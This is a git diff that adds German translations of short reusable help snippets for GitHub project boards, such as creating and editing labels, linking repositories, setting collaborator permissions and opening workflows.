+ms.openlocfilehash: 9ee21b2fc8490dd94e41c826e994f94998f732bb
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880677"
+---
+11. Optional kannst du neben dem Namen des neuen Mitarbeiters das Dropdownmenü öffnen und auf die gewünschte Berechtigungsstufe klicken: **Lesen**, **Schreiben** oder **Administrator**. ![Dropdownmenü für Mitarbeiterberechtigungen mit Optionen „Lesen“, „Schreiben“ und „Administrator“](/assets/images/help/projects/org-project-collaborators-choose-permissions.png).
diff --git a/translations/de-DE/data/reusables/project-management/confirm-label-deletion.md b/translations/de-DE/data/reusables/project-management/confirm-label-deletion.md
new file mode 100644
index 0000000000..ccce4561f2
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/confirm-label-deletion.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a64797475f56b29a771f67ebed497fc4d029b267
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884293"
+---
+  1. Lies die Warnung, und klicke dann auf **OK**.
diff --git a/translations/de-DE/data/reusables/project-management/copy-project-boards.md b/translations/de-DE/data/reusables/project-management/copy-project-boards.md
new file mode 100644
index 0000000000..589cc71276
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/copy-project-boards.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: da42053c005fb371b4f39ccc98536ce2e3c14977
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884696"
+---
+{% ifversion fpt or ghec %} Du kannst ein {% data variables.projects.projects_v1_board %} auch kopieren, um dessen Anpassungen für ähnliche Projekte wiederzuverwenden. Weitere Informationen findest du unter [Kopieren eines {% data variables.product.prodname_project_v1 %}](/articles/copying-a-project-board).
+{% endif %}
diff --git a/translations/de-DE/data/reusables/project-management/create-label.md b/translations/de-DE/data/reusables/project-management/create-label.md
new file mode 100644
index 0000000000..d7653ca2c9
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/create-label.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ef75310ad3d8638cd4a25b6210472d500d7f66eb
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145091069"
+---
+  1. Um die neue Bezeichnung zu speichern, klicke auf **Bezeichnung erstellen**.
diff --git a/translations/de-DE/data/reusables/project-management/create-project-button.md b/translations/de-DE/data/reusables/project-management/create-project-button.md
new file mode 100644
index 0000000000..7fd87ced6d
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/create-project-button.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a50decbf7b52c536207be66eeaead2a4a7cfe724
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145091068"
+---
+1. Klicken Sie auf **Create Project** (Projekt erstellen).
diff --git a/translations/de-DE/data/reusables/project-management/create-project-name-description.md b/translations/de-DE/data/reusables/project-management/create-project-name-description.md
new file mode 100644
index 0000000000..e887346c1a
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/create-project-name-description.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 23eb663989c76f9081f52529c235eb117f01525c
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879052"
+---
+1. Gib einen Namen und eine Beschreibung für Dein Projektboard ein.
+![Felder für Projektname und Beschreibung und Schaltfläche „Projekt erstellen“](/assets/images/help/projects/name-description-create-button.png)
diff --git a/translations/de-DE/data/reusables/project-management/delete-label.md b/translations/de-DE/data/reusables/project-management/delete-label.md
new file mode 100644
index 0000000000..867efaf012
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/delete-label.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3fe3a402253c894821f7d0ec829e4a502605d80c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881147"
+---
+  1. Klicke in der Bezeichnungsliste rechts neben der Bezeichnung, die du löschen möchtest, auf **Löschen**.
diff --git a/translations/de-DE/data/reusables/project-management/edit-in-project.md b/translations/de-DE/data/reusables/project-management/edit-in-project.md
new file mode 100644
index 0000000000..cf4e835718
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/edit-in-project.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1f611df33dd53512e60eda47ed150a6c5410ed91
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147423039"
+---
+Du kannst Issues und Pull Requests innerhalb deines {% data variables.projects.projects_v1_board %} anzeigen, indem du auf den Titel des Issues oder Pull Requests klickst.
diff --git a/translations/de-DE/data/reusables/project-management/edit-label.md b/translations/de-DE/data/reusables/project-management/edit-label.md
new file mode 100644
index 0000000000..39f2be4c43
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/edit-label.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5360daf682906241477189aa0689a603d7e162a8
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145105983"
+---
+  1. Klicke in der Bezeichnungsliste rechts neben der Bezeichnung, die du löschen möchtest, auf **Bearbeiten**.
diff --git a/translations/de-DE/data/reusables/project-management/edit-project-columns.md b/translations/de-DE/data/reusables/project-management/edit-project-columns.md
new file mode 100644
index 0000000000..f836518ae4
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/edit-project-columns.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 8f316cd57bd7d9c2d4df327c0dd68e9f7457d1e6
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879076"
+---
+{% tip %}
+
+**Tipp**: Um eine Spalte in deinem Projektboard zu bearbeiten oder daraus zu entfernen, klicke in der oberen rechten Ecke der Spalte auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
+
+{% endtip %}
diff --git a/translations/de-DE/data/reusables/project-management/for-more-info-project-keyboard-shortcuts.md b/translations/de-DE/data/reusables/project-management/for-more-info-project-keyboard-shortcuts.md
new file mode 100644
index 0000000000..6b0707656d
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/for-more-info-project-keyboard-shortcuts.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9697485d6b742936a7067979ddec6b7051545300
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147878980"
+---
+Weitere Informationen zu Tastenkombinationen findest du unter „Projektboards“ in [Tastenkombinationen](/articles/keyboard-shortcuts/#project-boards).
diff --git a/translations/de-DE/data/reusables/project-management/label-color-randomizer.md b/translations/de-DE/data/reusables/project-management/label-color-randomizer.md
new file mode 100644
index 0000000000..93f0b0ffc0
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/label-color-randomizer.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 5832873c651b9a21711e6646be71ad9f9c48b4c0
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145091056"
+---
+1. Um optional die Farbe Deiner Kennzeichnungen anzupassen, bearbeite die hexadezimale Nummer oder klicke die Schaltfläche „refresh" (aktualisieren) für eine andere zufällige Auswahl.
+  ![Aktualisieren der Farbe für neue Bezeichnungen bei Issues](/assets/images/help/issues/issues-color-refresh.png)
diff --git a/translations/de-DE/data/reusables/project-management/label-description.md b/translations/de-DE/data/reusables/project-management/label-description.md
new file mode 100644
index 0000000000..103b7bc38d
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/label-description.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 712bc53b3b85bb5981da66f6334fa5c0cc958c0e
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876958"
+---
+1. Unter „Description" (Beschreibung) gibst Du eine Beschreibung ein, damit andere Deine Kennzeichnung verstehen und verwenden können.
+  ![Feld zur Eingabe einer Kennzeichnungsbeschreibung](/assets/images/help/issues/label-description-field.png)
diff --git a/translations/de-DE/data/reusables/project-management/labels.md b/translations/de-DE/data/reusables/project-management/labels.md
new file mode 100644
index 0000000000..893756ff8a
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/labels.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 57154eadb7598f4cda7cf75b2a39a817372ada01
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145091051"
+---
+1. Klicke oberhalb der Liste der Issues oder Pull Requests auf **Bezeichnungen**.
+![Registerkarte „Bezeichnungen“ auf der Issue- oder Pull Request-Seite eines Repositorys](/assets/images/help/issues/issues_labels_button.png)
diff --git a/translations/de-DE/data/reusables/project-management/link-repos-to-project-board.md b/translations/de-DE/data/reusables/project-management/link-repos-to-project-board.md
new file mode 100644
index 0000000000..147a93b6c9
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/link-repos-to-project-board.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 42d125992d04a86707c78bd3518e9d23fad7fa96
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879067"
+---
+Du kannst bis zu 25 Repositorys mit deiner Organisation oder dem benutzereigenen {% data variables.projects.projects_v1_board %} verknüpfen. Das Verknüpfen von Repositorys erleichtert das Hinzufügen von Issues und Pull Requests aus diesen Repositorys zu deinem {% data variables.projects.projects_v1_board %} mithilfe von **{% octicon "plus" aria-label="The Plus icon" %} Karten hinzufügen** oder über die Randleiste für Issues oder Pull Requests.
diff --git a/translations/de-DE/data/reusables/project-management/linked-repositories.md b/translations/de-DE/data/reusables/project-management/linked-repositories.md
new file mode 100644
index 0000000000..4ffa269fd2
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/linked-repositories.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 54e4b546b655d66f999d9a58069d8edf430f45c5
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145091045"
+---
+1. Optional kannst du unter **Verknüpfte Repositorys** nach einem Repository suchen, das du mit deinem Projektboard verknüpfen möchtest.
+![Suchfeld zum Verknüpfen von Repositorys](/assets/images/help/projects/search-to-link-repository-on-create.png)
diff --git a/translations/de-DE/data/reusables/project-management/milestones.md b/translations/de-DE/data/reusables/project-management/milestones.md
new file mode 100644
index 0000000000..b01f94951f
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/milestones.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 62f7415c97d88bc3f50895c9ac83c85470f3ded5
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105975"
+---
+1. Klicke neben dem Suchfeld auf **Meilensteine**.
+![Schaltfläche „Meilenstein“ für Issues](/assets/images/help/issues/issues_milestone_button.png)
diff --git a/translations/de-DE/data/reusables/project-management/name-label.md b/translations/de-DE/data/reusables/project-management/name-label.md
new file mode 100644
index 0000000000..a3ff25e6bd
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/name-label.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 58661a14e214f23bc868b5c6b5b84fff43e6902c
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879092"
+---
+1. Unter „Label name" (Kennzeichnungsname) gib einen Namen für Deine Kennzeichnung ein.
+  ![Feld zum Eingeben eines Bezeichnungsnamens](/assets/images/help/issues/Issues-Label-Create.png)
diff --git a/translations/de-DE/data/reusables/project-management/name-project-board-column.md b/translations/de-DE/data/reusables/project-management/name-project-board-column.md
new file mode 100644
index 0000000000..960a853b52
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/name-project-board-column.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 8a0bcbc828cf83d89e89f966ba82db26a6cbf213
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105968"
+---
+1. Gib unter „Column name" (Spaltenname) den Namen der Spalte ein, welche Du erstellen willst.
+![Eingeben des Spaltennamens](/assets/images/help/projects/type-column-name.png)
diff --git a/translations/de-DE/data/reusables/project-management/project-board-import-with-api.md b/translations/de-DE/data/reusables/project-management/project-board-import-with-api.md
new file mode 100644
index 0000000000..c456280c60
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/project-board-import-with-api.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5b2171e809eaaa7a4cbf755548ac19bbd830025a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147081001"
+---
+Du kannst das API von {% data variables.product.prodname_dotcom %} verwenden, um ein Projektboard zu importieren. Weitere Informationen findest du unter [importProject](/graphql/reference/mutations#importproject/).
diff --git a/translations/de-DE/data/reusables/project-management/project-board-permissions.md b/translations/de-DE/data/reusables/project-management/project-board-permissions.md
new file mode 100644
index 0000000000..b0c6a1b8aa
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/project-board-permissions.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: a5f9f02613bb73fae390db71e6982f367087ae00
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884389"
+---
+- **Lesen**: Gibt Personen die Berechtigung, ein {% data variables.projects.projects_v1_board %} anzuzeigen.
+- **Schreiben**: Gibt Personen die Berechtigung, ein {% data variables.projects.projects_v1_board %} anzuzeigen, Repositorys mit einem {% data variables.projects.projects_v1_board %} zu verknüpfen und mit einem {% data variables.projects.projects_v1_board %} zu interagieren. Weitere Informationen findest du unter [Verknüpfen eines Repositorys mit einem {% data variables.product.prodname_project_v1 %}](/articles/linking-a-repository-to-a-project-board).
+- **Admin**: Gibt Personen die Berechtigung, ein {% data variables.projects.projects_v1_board %} anzuzeigen, mit einem {% data variables.projects.projects_v1_board %} zu interagieren sowie {% data variables.projects.projects_v1_board %}einstellungen und den Zugriff anderer Personen auf ein {% data variables.projects.projects_v1_board %} zu verwalten.
diff --git a/translations/de-DE/data/reusables/project-management/project-board-visibility.md b/translations/de-DE/data/reusables/project-management/project-board-visibility.md
new file mode 100644
index 0000000000..2e2ef98595
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/project-board-visibility.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6f5f7b9a1ef172b471215d5ea66d834fb00e19d7
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879075"
+---
+Standardmäßig sind benutzereigene und organisationsweite {% data variables.projects.projects_v1_boards %} privat und nur für Personen sichtbar, die über Lese-, Schreib- oder Administratorberechtigungen für das betreffende {% data variables.projects.projects_v1_board %} verfügen. {% ifversion ghae %} Ein internes{% else %}Ein öffentliches{% endif %} {% data variables.projects.projects_v1_board %} ist für {% ifversion ghae %}alle Personen mit Zugriff auf dein Unternehmen{% else %}alle Personen{% endif %} über die URL des {% data variables.projects.projects_v1_board %}s zugänglich. {% data variables.projects.projects_v1_boards %} auf Repositoryebene teilen die Sichtbarkeit ihres Repositorys. Das bedeutet, dass ein privates Repository über ein privates Projekt verfügt. Diese Sichtbarkeit kann nicht geändert werden.
diff --git a/translations/de-DE/data/reusables/project-management/project-note-more-options.md b/translations/de-DE/data/reusables/project-management/project-note-more-options.md
new file mode 100644
index 0000000000..18bcbc9fb6
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/project-note-more-options.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: c6dcce477fbaa27d9a8d19ad7d5d5a4f651d7b5f
+ms.sourcegitcommit: 6edb015070d3f0fda4525c6c931f1324626345dc
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147887222"
+---
+1. Klicke rechts oben in den Hinweisen auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
+  ![3-Punkte-Symbol rechts oben im Hinweis](/assets/images/help/projects/note-more-options.png)
diff --git a/translations/de-DE/data/reusables/project-management/project-progress-locations.md b/translations/de-DE/data/reusables/project-management/project-progress-locations.md
new file mode 100644
index 0000000000..1fe25ad2e9
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/project-progress-locations.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 47169e7d195fd9eddb48bdf6d9f0a0ff2bdd74e0
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879099"
+---
+Wenn die Fortschrittsnachverfolgung aktiviert ist, wird oberhalb des {% data variables.projects.projects_v1_board %}s, auf der Projektauflistungsseite, in der Issuerandleiste sowie in Verweisen auf das Projekt auf anderen {% data variables.projects.projects_v1_boards %} eine Statusleiste angezeigt.
diff --git a/translations/de-DE/data/reusables/project-management/remove-collaborator.md b/translations/de-DE/data/reusables/project-management/remove-collaborator.md
new file mode 100644
index 0000000000..66a71e5596
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/remove-collaborator.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 71033e056d16686273baddc2784677eb500875a4
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145105947"
+---
+4. Klicke neben dem Projektmitarbeiter, den du entfernen möchtest, auf **X**. ![Symbol „X“ zum Entfernen neben dem Benutzernamen des Projektmitarbeiters](/assets/images/help/projects/remove-project-board-collaborator.png)
diff --git a/translations/de-DE/data/reusables/project-management/resync-automation.md b/translations/de-DE/data/reusables/project-management/resync-automation.md
new file mode 100644
index 0000000000..879059ea04
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/resync-automation.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3eedd19ec708ed831bcc521555ba90cf89613779
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147423124"
+---
+Wenn du ein {% data variables.projects.projects_v1_board %} schließt, wird jede für das {% data variables.projects.projects_v1_board %} konfigurierte Workflowautomatisierung angehalten. Wenn du ein {% data variables.projects.projects_v1_board %} erneut öffnest, hast du die Möglichkeit, die Automatisierung zu synchronisieren. Dadurch wird die Position der Karten auf dem Projektboard entsprechend den für das Board konfigurierten Automatisierungseinstellungen aktualisiert. Weitere Informationen findest du unter [Erneutes Öffnen eines geschlossenen {% data variables.product.prodname_project_v1 %}](/articles/reopening-a-closed-project-board) oder [Schließen eines {% data variables.product.prodname_project_v1 %}](/articles/closing-a-project-board).
diff --git a/translations/de-DE/data/reusables/project-management/save-label.md b/translations/de-DE/data/reusables/project-management/save-label.md
new file mode 100644
index 0000000000..3a30c83737
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/save-label.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 862fbcb804617513301d3893e9dd5e9a692d9aa9
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105944"
+---
+  1. Klicken Sie auf **Änderungen speichern**.
diff --git a/translations/de-DE/data/reusables/project-management/select-automation-options-new-column.md b/translations/de-DE/data/reusables/project-management/select-automation-options-new-column.md
new file mode 100644
index 0000000000..5823cbece8
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/select-automation-options-new-column.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 2b5e32ae0dfddab35b15a8af2c10e08635cc76fc
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147886790"
+---
+1. Wähle die Workflow-Automatisierungen aus, die Du für die Spalte konfigurieren möchtest.
+![Liste der Optionen für die Automatisierung der Spalte](/assets/images/help/projects/select-automation-options-new-column.png)
diff --git a/translations/de-DE/data/reusables/project-management/select-column-preset.md b/translations/de-DE/data/reusables/project-management/select-column-preset.md
new file mode 100644
index 0000000000..d65316971a
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/select-column-preset.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: c9e2a0a49463573e4f86a16f071b49b2019ffdb4
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879060"
+---
+1. Wähle optional unter "Automation" (Automatisierung) eine Automatisierungs-Voreinstellung über das Dropdownmenü aus.
+![Voreinstellung für Automatisierung aus Menü auswählen](/assets/images/help/projects/select-automation.png)
diff --git a/translations/de-DE/data/reusables/project-management/select-project.md b/translations/de-DE/data/reusables/project-management/select-project.md
new file mode 100644
index 0000000000..466ca36dd6
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/select-project.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: fe922c4fcc9de292cd0f0c306b9761d0b8762576
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147423244"
+---
+1. Klicke in der Projektliste auf den Namen des {% data variables.projects.projects_v1_board %}s.
+![Auswählen des Projekts](/assets/images/help/projects/select-project.png)
diff --git a/translations/de-DE/data/reusables/project-management/use-automated-template.md b/translations/de-DE/data/reusables/project-management/use-automated-template.md
new file mode 100644
index 0000000000..008210a77c
--- /dev/null
+++ b/translations/de-DE/data/reusables/project-management/use-automated-template.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 512f03650f2e348b374a929e99037fb098ffb7e2
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147423556"
+---
+Du kannst eine {% data variables.projects.projects_v1_board %}vorlage verwenden, um ein {% data variables.projects.projects_v1_board %} mit bereits konfigurierter Automatisierung zu erstellen. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_projects_v1 %}](/articles/about-project-boards#templates-for-project-boards).
diff --git a/translations/de-DE/data/reusables/projects/about-workflows.md b/translations/de-DE/data/reusables/projects/about-workflows.md
new file mode 100644
index 0000000000..248d50ad2b
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/about-workflows.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 6d9406bf1e4b268122142416f69c62e8f55337fe
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147423676"
+---
+{% data variables.product.prodname_projects_v2 %} enthält integrierte Workflows, mit denen du den **Status** von Elementen basierend auf bestimmten Ereignissen aktualisieren kannst. Du kannst z. B. den Status automatisch auf **Aufgabe** festlegen, wenn deinem Projekt ein Element hinzugefügt wird, oder den Status auf **Fertig** festlegen, wenn ein Issue geschlossen wird.
+
+Wenn dein Projekt initialisiert wird, werden standardmäßig zwei Workflows aktiviert: Wenn Issues oder Pull Requests im Projekt geschlossen werden, wird der Status auf **Fertig** festgelegt, und wenn Pull Requests im Projekt gemergt werden, wird der Status ebenfalls auf **Fertig** festgelegt.
diff --git a/translations/de-DE/data/reusables/projects/access-insights.md b/translations/de-DE/data/reusables/projects/access-insights.md
new file mode 100644
index 0000000000..8085e4c9c5
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/access-insights.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 051628bc0f79a0a3a3338ecddbac0ff71cf102e6
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147422636"
+---
+1. Navigiere zu deinem Projekt.
+2. Um auf Einblicke zuzugreifen, klicke oben rechts auf {% octicon "graph" aria-label="the graph icon" %}.
+   ![Screenshot des Symbols „Erkenntnisse“](/assets/images/help/projects-v2/insights-button.png)
diff --git a/translations/de-DE/data/reusables/projects/access-workflows.md b/translations/de-DE/data/reusables/projects/access-workflows.md
new file mode 100644
index 0000000000..3af850f296
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/access-workflows.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 2637ffcb5913f0c84f3ae092653c410ad0a5fdad
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148106590"
+---
+1. Navigiere zu deinem Projekt.
+1. Klicke rechts oben auf {% octicon "kebab-horizontal" aria-label="The menu icon" %}, um das Menü zu öffnen.
+  ![Screenshot des Menüsymbols](/assets/images/help/projects-v2/open-menu.png)
+1. Klicke im Menü auf {% octicon "workflow" aria-label="The workflow icon" %} **Workflows**.
+  ![Screenshot des Menüelements „Workflows“](/assets/images/help/projects-v2/workflows-menu-item.png)
diff --git a/translations/de-DE/data/reusables/projects/add-draft-issue.md b/translations/de-DE/data/reusables/projects/add-draft-issue.md
new file mode 100644
index 0000000000..363123038d
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/add-draft-issue.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 303fc7fa60ba2ccc37689055f6056a59655a6eae
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108511"
+---
+{% data reusables.projects.add-item-bottom-row %}
+1. Gib deine Idee ein, und drücke dann die **EINGABETASTE**.
+  ![Screenshot des Einfügevorgangs beim Hinzufügen einer Issue-URL zum Projekt](/assets/images/help/projects-v2/add-draft-issue.png)
+1. Wenn du einen Textkörper hinzufügen möchtest, klicke auf den Titel des Issueentwurfs. Gib in dem Markdown-Eingabefeld, das daraufhin angezeigt wird, den Text für den Textkörper des Issueentwurfs ein, und klicke dann auf **Speichern**.
diff --git a/translations/de-DE/data/reusables/projects/add-item-bottom-row.md b/translations/de-DE/data/reusables/projects/add-item-bottom-row.md
new file mode 100644
index 0000000000..f7c4a6b735
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/add-item-bottom-row.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 8af3f341f8b2a91038d1e489a1d2ed59d8743234
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108499"
+---
+1. Platziere den Cursor in der untersten Zeile des Projekts neben dem folgenden Symbol: {% octicon "plus" aria-label="plus icon" %}.
+  ![Screenshot der unteren Zeile zum Hinzufügen eines Elements](/assets/images/help/projects-v2/add-item.png)
